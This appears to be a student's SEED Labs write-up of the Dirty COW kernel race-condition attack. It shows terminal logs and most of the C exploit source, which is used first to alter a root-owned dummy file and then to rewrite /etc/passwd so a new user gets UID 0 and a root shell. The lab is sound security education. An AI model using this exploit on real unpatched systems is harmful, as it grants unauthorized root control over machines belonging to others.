DIRTY COW ATTACKS

Task 1: Modify a Dummy Read-Only File

2.1 Create a Dummy File

```
[11/19/2023 00:01] seed@ubuntu:~/Desktop/dirty cow$ sudo touch /zzz
[sudo] password for seed:
[11/19/2023 00:02] seed@ubuntu:~/Desktop/dirty cow$ sudo chmod 644 /zzz
[11/19/2023 00:02] seed@ubuntu:~/Desktop/dirty cow$ sudo gedit /zzz
[11/19/2023 00:04] seed@ubuntu:~/Desktop/dirty cow$ cat /zzz
111111222222333333
[11/19/2023 00:04] seed@ubuntu:~/Desktop/dirty cow$ ls -l
total 4
-rw-rw-r-- 1 seed seed 1341 Nov 18 23:59 cow_attack.c
[11/19/2023 00:04] seed@ubuntu:~/Desktop/dirty cow$ ls -l /zzz
-rw-r--r-- 1 root root 19 Nov 19 00:04 /zzz
[11/19/2023 00:04] seed@ubuntu:~/Desktop/dirty cow$ echo 99999 > /zzz
bash: /zzz: Permission denied
[11/19/2023 00:05] seed@ubuntu:~/Desktop/dirty cow$
```

Launch the Attach:

```
[11/19/2023 00:20] seed@ubuntu:~/Desktop/dirty cow/Labsetup$ gcc cow_attack.c -lpthread
[11/19/2023 00:21] seed@ubuntu:~/Desktop/dirty cow/Labsetup$ ls
a.out  cow_attack.c
[11/19/2023 00:21] seed@ubuntu:~/Desktop/dirty cow/Labsetup$ ./a.out
^C
[11/19/2023 00:21] seed@ubuntu:~/Desktop/dirty cow/Labsetup$ cat /zzz
111111******333333
[11/19/2023 00:21] seed@ubuntu:~/Desktop/dirty cow/Labsetup$
```

We can see the 222222 has been replaced with ******

Task 2: Modify the Password File to Gain the Root Privilege

Created a new user called nifal using sudo adduser nifal

```
[11/19/2023 00:24] seed@ubuntu:~/Desktop/dirty cow/Labsetup$ sudo adduser nifal
[sudo] password for seed:
Adding user `nifal' ...
Adding new group `nifal' (1002) ...
Adding new user `nifal' (1001) with group `nifal' ...
Creating home directory `/home/nifal' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for nifal
Enter the new value, or press ENTER for the default
        Full Name []: nifal
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] y
[11/19/2023 00:25] seed@ubuntu:~/Desktop/dirty cow/Labsetup$ cat /etc/passwd | grep nifal
nifal:x:1001:1002:nifal,,,:/home/nifal:/bin/bash
[11/19/2023 00:27] seed@ubuntu:~/Desktop/dirty cow/Labsetup$ su nifal
Password:
nifal@ubuntu:/home/seed/Desktop/dirty cow/Labsetup$ id
uid=1001(nifal) gid=1002(nifal) groups=1002(nifal)
nifal@ubuntu:/home/seed/Desktop/dirty cow/Labsetup$ exit
exit
[11/19/2023 00:28] seed@ubuntu:~/Desktop/dirty cow/Labsetup$
```

Before making the necessary changes it runs as normal user.

DIRTY COW ATTACKS

Next, we edit the cow_attack.c file to change the file to /etc/passwd and the user id from 1001 to 0000

cow_attack.c

```c
int main(int argc, char *argv[])
{
  pthread_t pth1,pth2;
  struct stat st;
  int file_size;

  // Open the target file in the read-only mode.
  int f=open("/etc/passwd", O_RDONLY);

  // Map the file to COW memory using MAP_PRIVATE.
  fstat(f, &st);
  file_size = st.st_size;
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

  // Find the position of the target area
  char *position = strstr(map, "nifal:x:1001");

  // We have to do the attack using two threads.
  pthread_create(&pth1, NULL, madviseThread, (void  *)file_size);
  pthread_create(&pth2, NULL, writeThread, position);

  // Wait for the threads to finish.
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}

void *writeThread(void *arg)
{
  char *content= "nifal:x:0000";
  off_t offset = (off_t) arg;

  int f=open("/proc/self/mem", O_RDWR);
  while(1) {
    // Move the file pointer to the corresponding position.
    lseek(f, offset, SEEK_SET);
    // Write to the memory.
    write(f, content, strlen(content));
  }
}

void *madviseThread(void *arg)
{
  int file_size = (int) arg;
  while(1){
```

```
exit
[11/19/2023 00:28] seed@ubuntu:~/Desktop/dirty cow/Labsetup$ gedit cow_attack.c
[11/19/2023 00:31] seed@ubuntu:~/Desktop/dirty cow/Labsetup$ ^C
[11/19/2023 00:32] seed@ubuntu:~/Desktop/dirty cow/Labsetup$ gedit cow_attack.c
[11/19/2023 00:32] seed@ubuntu:~/Desktop/dirty cow/Labsetup$ gcc cow_attack.c -lpthread
[11/19/2023 00:32] seed@ubuntu:~/Desktop/dirty cow/Labsetup$ ./a.out
^C
[11/19/2023 00:33] seed@ubuntu:~/Desktop/dirty cow/Labsetup$ su nifal
Password:
root@ubuntu:/home/seed/Desktop/dirty cow/Labsetup# id
uid=0(root) gid=1002(nifal) groups=0(root),1002(nifal)
root@ubuntu:/home/seed/Desktop/dirty cow/Labsetup#
```

after that we can see this new user running as root.